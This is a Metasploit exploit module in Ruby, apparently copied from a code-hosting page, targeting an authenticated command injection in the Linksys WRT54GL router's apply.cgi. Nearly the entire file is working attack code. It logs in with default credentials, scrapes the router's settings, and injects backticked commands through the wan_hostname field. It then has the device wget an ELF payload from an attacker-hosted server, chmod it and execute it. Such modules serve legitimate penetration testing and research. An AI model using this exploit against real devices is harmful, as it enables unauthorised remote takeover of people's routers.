637 lines
20 KiB
Ruby
637 lines
20 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys WRT54GL apply.cgi Command Execution',
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'Description' => %q{
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Some Linksys Routers are vulnerable to an authenticated OS command injection.
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Default credentials for the web interface are admin/admin or admin/password. Since
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it is a blind os command injection vulnerability, there is no output for the
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executed command when using the cmd generic payload. A ping command against a
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controlled system could be used for testing purposes.
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},
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'Author' =>
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[
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'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '57459' ],
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[ 'EDB', '24202' ],
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[ 'OSVDB', '89912' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
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],
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'DisclosureDate' => 'Jan 18 2013',
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'Privileged' => true,
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'Platform' => ['linux','unix'],
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'CMD',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Linux mipsel Payload',
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{
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux'
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}
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],
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],
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'DefaultTarget' => 1,
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))
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register_options(
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[
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OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
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OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
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OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
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OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
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OptString.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration, (default: yes)', 'yes' ]),
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OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]),
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], self.class)
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end
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def grab_config(user,pass)
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print_status("#{rhost}:#{rport} - Trying to download the original configuration")
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begin
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res = send_request_cgi({
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'uri' => '/index.asp',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res.nil? or res.code == 404
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fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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if [200, 301, 302].include?(res.code)
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if res.body =~ /lan_ipaddr_0/
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print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
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else
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fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
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end
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else
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fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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rescue ::Rex::ConnectionError
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fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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if res.body =~ /<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>/
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if $1.nil?
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@now_proto_orig = ""
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else
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@now_proto_orig = $1
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end
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if @now_proto_orig !~ /dhcp/
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - We do not know if this module works with your configuration -> possible we overwrite your config and break this device!")
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end
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end
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if res.body =~ /<input\ type=hidden\ name=daylight_time\ value=(.*)>/
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if $1.nil?
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@daylight_time_orig = ""
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else
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@daylight_time_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>/
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if $1.nil?
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@lan_ipaddr_orig = ""
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else
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@lan_ipaddr_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>/
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if $1.nil?
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@wait_time_orig = ""
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else
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@wait_time_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>/
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if $1.nil?
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@need_reboot_orig = ""
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else
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@need_reboot_orig = $1
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end
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end
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if res.body =~ /var\ wan_proto\ =\ \'(.*)\'\;/
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if $1.nil?
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@wan_proto_orig = ""
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else
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@wan_proto_orig = $1
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end
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end
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if res.body =~ /onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>/
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if $1.nil?
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@lan_ipaddr_0_orig = ""
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else
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@lan_ipaddr_0_orig = $1
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end
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end
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if res.body =~ /\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name="lan_ipaddr_1">/
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if $1.nil?
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@lan_ipaddr_1_orig = ""
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else
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@lan_ipaddr_1_orig = $1
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end
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end
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if res.body =~ /\<INPUT\ class=num maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name="lan_ipaddr_2">/
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if $1.nil?
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@lan_ipaddr_2_orig = ""
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else
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@lan_ipaddr_2_orig = $1
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end
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end
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if res.body =~ /<INPUT class=num maxLength=3\ onBlur="valid_range\(this,1,254,'IP'\)\;Sel_SubMask\(this.form.lan_netmask,this.form\);"\ size=3\ value='(.*)'\ name="lan_ipaddr_3"><\/TD>/
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if $1.nil?
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@lan_ipaddr_3_orig = ""
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else
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@lan_ipaddr_3_orig = $1
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end
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end
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if res.body =~ /name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>/
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if $1.nil?
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@router_name_orig = ""
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else
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@router_name_orig = $1
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end
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end
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if res.body =~ /name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>/
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if $1.nil?
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@wan_domain_orig = ""
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else
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@wan_domain_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Host%20Name\"\)><\/FONT><\/TD>/
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if $1.nil?
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@wan_hostname_orig = ""
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else
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@wan_hostname_orig = $1
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end
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end
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if res.body =~ /<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\(this\)\ size=5\ value='(.*)'\ name="wan_mtu"><\/TD>/
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if $1.nil?
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@wan_mtu_orig = ""
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else
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@wan_mtu_orig = $1
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if @wan_mtu_orig.to_i > 1500
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@mtu_enable = "0"
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end
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end
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end
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if res.body =~ /<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>/
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if $1.nil?
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@ui_language_orig = ""
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else
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@ui_language_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=4\ onBlur=valid_range\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num/
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if $1.nil?
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@dhcp_lease_orig = ""
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else
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@dhcp_lease_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\)\;Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>/
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if $1.nil?
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@dhcp_num_orig = ""
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else
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@dhcp_num_orig = $1
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end
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end
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if res.body =~ /Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">/
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if $1.nil?
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@dhcp_start_orig = ""
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else
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@dhcp_start_orig = $1
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end
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end
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if res.body =~ /value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>/
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if $1.nil?
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@netmask_orig = ""
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else
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@netmask_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=wan_dns\ value=(.*)>/
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if $1.nil?
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@wan_dns_orig = ""
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else
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@wan_dns_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>/
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if $1.nil?
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@wan_dns0_0_orig = ""
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else
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@wan_dns0_0_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>/
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if $1.nil?
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@wan_dns0_1_orig = ""
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else
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@wan_dns0_1_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>/
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if $1.nil?
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@wan_dns0_2_orig = ""
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else
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@wan_dns0_2_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>/
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if $1.nil?
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@wan_dns0_3_orig = ""
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else
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@wan_dns0_3_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>/
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if $1.nil?
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@wan_dns1_0_orig = ""
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else
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@wan_dns1_0_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>/
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if $1.nil?
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@wan_dns1_1_orig = ""
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else
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@wan_dns1_1_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>/
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if $1.nil?
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@wan_dns1_2_orig = ""
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else
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@wan_dns1_2_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>/
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if $1.nil?
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@wan_dns1_3_orig = ""
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else
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@wan_dns1_3_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>/
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if $1.nil?
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@wan_dns2_0_orig = ""
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else
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@wan_dns2_0_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>/
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if $1.nil?
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@wan_dns2_1_orig = ""
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else
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@wan_dns2_1_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>/
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if $1.nil?
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@wan_dns2_2_orig = ""
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else
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@wan_dns2_2_orig = $1
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end
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end
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|
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>/
|
||
|
|
if $1.nil?
|
||
|
|
@wan_dns2_3_orig = ""
|
||
|
|
else
|
||
|
|
@wan_dns2_3_orig = $1
|
||
|
|
end
|
||
|
|
end
|
||
|
|
if res.body =~ /<input\ type=hidden\ name=wan_wins\ value=(.*)>/
|
||
|
|
if $1.nil?
|
||
|
|
@wan_wins_orig = ""
|
||
|
|
else
|
||
|
|
@wan_wins_orig = $1
|
||
|
|
end
|
||
|
|
end
|
||
|
|
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>/
|
||
|
|
if $1.nil?
|
||
|
|
@wan_wins_0_orig = ""
|
||
|
|
else
|
||
|
|
@wan_wins_0_orig = $1
|
||
|
|
end
|
||
|
|
end
|
||
|
|
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>/
|
||
|
|
if $1.nil?
|
||
|
|
@wan_wins_1_orig = ""
|
||
|
|
else
|
||
|
|
@wan_wins_1_orig = $1
|
||
|
|
end
|
||
|
|
end
|
||
|
|
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>/
|
||
|
|
if $1.nil?
|
||
|
|
@wan_wins_2_orig = ""
|
||
|
|
else
|
||
|
|
@wan_wins_2_orig = $1
|
||
|
|
end
|
||
|
|
end
|
||
|
|
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>/
|
||
|
|
if $1.nil?
|
||
|
|
@wan_wins_3_orig = ""
|
||
|
|
else
|
||
|
|
@wan_wins_3_orig = $1
|
||
|
|
end
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
def restore_conf(user,pass,uri)
|
||
|
|
|
||
|
|
#we have used most parts of the original configuraion
|
||
|
|
#just need to restore pppoe_username
|
||
|
|
cmd = @wan_hostname_orig.to_s
|
||
|
|
print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")
|
||
|
|
|
||
|
|
##WARNING: restore of wan_hostname_orig not working!!!
|
||
|
|
|
||
|
|
res = request(cmd,user,pass,uri)
|
||
|
|
|
||
|
|
if (!res)
|
||
|
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
|
||
|
|
end
|
||
|
|
#the device needs around 30 seconds to apply our current configuration
|
||
|
|
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||
|
|
select(nil, nil, nil, @timeout)
|
||
|
|
end
|
||
|
|
|
||
|
|
def request(cmd,user,pass,uri)
|
||
|
|
begin
|
||
|
|
res = send_request_cgi({
|
||
|
|
'uri' => uri,
|
||
|
|
'method' => 'POST',
|
||
|
|
'authorization' => basic_auth(user,pass),
|
||
|
|
'encode_params' => false,
|
||
|
|
'vars_post' => {
|
||
|
|
'submit_button' => "index",
|
||
|
|
'change_action' => "1",
|
||
|
|
'submit_type' => "1",
|
||
|
|
'action' => "Apply",
|
||
|
|
'now_proto' => @now_proto_orig.to_s, #Todo: check if the injection also works with other settings
|
||
|
|
'daylight_time' => @daylight_time_orig.to_s,
|
||
|
|
'lan_ipaddr' => @lan_ipaddr_orig.to_s,
|
||
|
|
'wait_time' => @wait_time_orig.to_s,
|
||
|
|
'need_reboot' => @need_reboot_orig.to_s,
|
||
|
|
'ui_language' => @ui_language_orig,
|
||
|
|
'wan_proto' => @wan_proto_orig.to_s,
|
||
|
|
'router_name' => @router_name_orig.to_s,
|
||
|
|
'wan_hostname' => cmd,
|
||
|
|
'wan_domain' => @wan_domain_orig.to_s,
|
||
|
|
'mtu_enable' => @mtu_enable.to_s,
|
||
|
|
'wan_mtu' => @wan_mtu_orig.to_s,
|
||
|
|
'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,
|
||
|
|
'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,
|
||
|
|
'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
|
||
|
|
'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
|
||
|
|
'lan_netmask' => "255.255.255.#{@netmask_orig}",
|
||
|
|
'lan_proto' => @lan_proto_manual.to_s, #we have to configure this
|
||
|
|
'dhcp_check' => "1",
|
||
|
|
'dhcp_start' => @dhcp_start_orig.to_s,
|
||
|
|
'dhcp_num' => @dhcp_num_orig.to_s,
|
||
|
|
'dhcp_lease' => @dhcp_lease_orig.to_s,
|
||
|
|
'wan_dns' => @wan_dns_orig.to_s,
|
||
|
|
'wan_dns0_0' => @wan_dns0_0_orig.to_s,
|
||
|
|
'wan_dns0_1' => @wan_dns0_1_orig.to_s,
|
||
|
|
'wan_dns0_2' => @wan_dns0_2_orig.to_s,
|
||
|
|
'wan_dns0_3' => @wan_dns0_3_orig.to_s,
|
||
|
|
'wan_dns1_0' => @wan_dns1_0_orig.to_s,
|
||
|
|
'wan_dns1_1' => @wan_dns1_1_orig.to_s,
|
||
|
|
'wan_dns1_2' => @wan_dns1_2_orig.to_s,
|
||
|
|
'wan_dns1_3' => @wan_dns1_3_orig.to_s,
|
||
|
|
'wan_dns2_0' => @wan_dns2_0_orig.to_s,
|
||
|
|
'wan_dns2_1' => @wan_dns2_1_orig.to_s,
|
||
|
|
'wan_dns2_2' => @wan_dns2_2_orig.to_s,
|
||
|
|
'wan_dns2_3' => @wan_dns2_3_orig.to_s,
|
||
|
|
'wan_wins' => @wan_wins_orig.to_s,
|
||
|
|
'wan_wins_0' => @wan_wins_0_orig.to_s,
|
||
|
|
'wan_wins_1' => @wan_wins_1_orig.to_s,
|
||
|
|
'wan_wins_2' => @wan_wins_2_orig.to_s,
|
||
|
|
'wan_wins_3' => @wan_wins_3_orig.to_s,
|
||
|
|
'time_zone' => "-08+1+1", #default is ok
|
||
|
|
'_daylight_time' => '1' #default is ok
|
||
|
|
}
|
||
|
|
})
|
||
|
|
return res
|
||
|
|
rescue ::Rex::ConnectionError
|
||
|
|
vprint_error("#{rhost} - Failed to connect to the web server")
|
||
|
|
return nil
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|
||
|
|
|
||
|
|
def exploit
|
||
|
|
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
||
|
|
uri = '/apply.cgi'
|
||
|
|
user = datastore['USERNAME']
|
||
|
|
pass = datastore['PASSWORD']
|
||
|
|
rhost = datastore['RHOST']
|
||
|
|
rport = datastore['RPORT']
|
||
|
|
restore = datastore['RESTORE_CONF']
|
||
|
|
@timeout = 10
|
||
|
|
@lan_proto_manual = datastore['LAN_PROTO']
|
||
|
|
|
||
|
|
#
|
||
|
|
# testing Login
|
||
|
|
#
|
||
|
|
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
|
||
|
|
begin
|
||
|
|
res = send_request_cgi({
|
||
|
|
'uri' => uri,
|
||
|
|
'method' => 'GET',
|
||
|
|
'authorization' => basic_auth(user,pass)
|
||
|
|
})
|
||
|
|
if res.nil? or res.code == 404
|
||
|
|
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||
|
|
end
|
||
|
|
if [200, 301, 302].include?(res.code)
|
||
|
|
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||
|
|
else
|
||
|
|
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||
|
|
end
|
||
|
|
rescue ::Rex::ConnectionError
|
||
|
|
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||
|
|
end
|
||
|
|
|
||
|
|
|
||
|
|
grab_config(user,pass)
|
||
|
|
|
||
|
|
if target.name =~ /CMD/
|
||
|
|
if not (datastore['CMD'])
|
||
|
|
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||
|
|
end
|
||
|
|
cmd = payload.encoded
|
||
|
|
cmd = "`#{cmd}`"
|
||
|
|
res = request(cmd,user,pass,uri)
|
||
|
|
if (!res)
|
||
|
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||
|
|
restore_conf(user,pass,uri)
|
||
|
|
else
|
||
|
|
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||
|
|
if restore == "yes"
|
||
|
|
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||
|
|
select(nil, nil, nil, @timeout)
|
||
|
|
restore_conf(user,pass,uri)
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|
||
|
|
return
|
||
|
|
end
|
||
|
|
|
||
|
|
#thx to Juan for his awesome work on the mipsel elf support
|
||
|
|
@pl = generate_payload_exe
|
||
|
|
@elf_sent = false
|
||
|
|
|
||
|
|
#
|
||
|
|
# start our server
|
||
|
|
#
|
||
|
|
resource_uri = '/' + downfile
|
||
|
|
|
||
|
|
if (datastore['DOWNHOST'])
|
||
|
|
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||
|
|
else
|
||
|
|
#do not use SSL
|
||
|
|
if datastore['SSL']
|
||
|
|
ssl_restore = true
|
||
|
|
datastore['SSL'] = false
|
||
|
|
end
|
||
|
|
|
||
|
|
#we use SRVHOST as download IP for the coming wget command.
|
||
|
|
#SRVHOST needs a real IP address of our download host
|
||
|
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||
|
|
srv_host = Rex::Socket.source_address(rhost)
|
||
|
|
else
|
||
|
|
srv_host = datastore['SRVHOST']
|
||
|
|
end
|
||
|
|
|
||
|
|
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||
|
|
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
|
||
|
|
start_service({'Uri' => {
|
||
|
|
'Proc' => Proc.new { |cli, req|
|
||
|
|
on_request_uri(cli, req)
|
||
|
|
},
|
||
|
|
'Path' => resource_uri
|
||
|
|
}})
|
||
|
|
|
||
|
|
datastore['SSL'] = true if ssl_restore
|
||
|
|
end
|
||
|
|
|
||
|
|
#
|
||
|
|
# download payload
|
||
|
|
#
|
||
|
|
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
|
||
|
|
#this filename is used to store the payload on the device
|
||
|
|
filename = rand_text_alpha_lower(8)
|
||
|
|
|
||
|
|
#not working if we send all command together -> lets take three requests
|
||
|
|
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
|
||
|
|
cmd = "`#{cmd}`"
|
||
|
|
res = request(cmd,user,pass,uri)
|
||
|
|
if (!res)
|
||
|
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||
|
|
end
|
||
|
|
|
||
|
|
# wait for payload download
|
||
|
|
if (datastore['DOWNHOST'])
|
||
|
|
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
|
||
|
|
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
||
|
|
else
|
||
|
|
wait_linux_payload
|
||
|
|
end
|
||
|
|
register_file_for_cleanup("/tmp/#{filename}")
|
||
|
|
|
||
|
|
#
|
||
|
|
# chmod
|
||
|
|
#
|
||
|
|
cmd = "chmod 777 /tmp/#{filename}"
|
||
|
|
cmd = "`#{cmd}`"
|
||
|
|
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
|
||
|
|
res = request(cmd,user,pass,uri)
|
||
|
|
if (!res)
|
||
|
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||
|
|
end
|
||
|
|
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||
|
|
select(nil, nil, nil, @timeout)
|
||
|
|
|
||
|
|
#
|
||
|
|
# execute
|
||
|
|
#
|
||
|
|
cmd = "/tmp/#{filename}"
|
||
|
|
cmd = "`#{cmd}`"
|
||
|
|
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
|
||
|
|
res = request(cmd,user,pass,uri)
|
||
|
|
if (!res)
|
||
|
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||
|
|
end
|
||
|
|
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||
|
|
select(nil, nil, nil, @timeout)
|
||
|
|
|
||
|
|
#
|
||
|
|
#reload original configuration
|
||
|
|
#
|
||
|
|
if restore == "yes"
|
||
|
|
restore_conf(user,pass,uri)
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
# Handle incoming requests from the server
|
||
|
|
def on_request_uri(cli, request)
|
||
|
|
#print_status("on_request_uri called: #{request.inspect}")
|
||
|
|
if (not @pl)
|
||
|
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
||
|
|
return
|
||
|
|
end
|
||
|
|
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
||
|
|
@elf_sent = true
|
||
|
|
send_response(cli, @pl)
|
||
|
|
end
|
||
|
|
|
||
|
|
# wait for the data to be sent
|
||
|
|
def wait_linux_payload
|
||
|
|
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
|
||
|
|
|
||
|
|
waited = 0
|
||
|
|
while (not @elf_sent)
|
||
|
|
select(nil, nil, nil, 1)
|
||
|
|
waited += 1
|
||
|
|
if (waited > datastore['HTTP_DELAY'])
|
||
|
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||
|
|
end
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|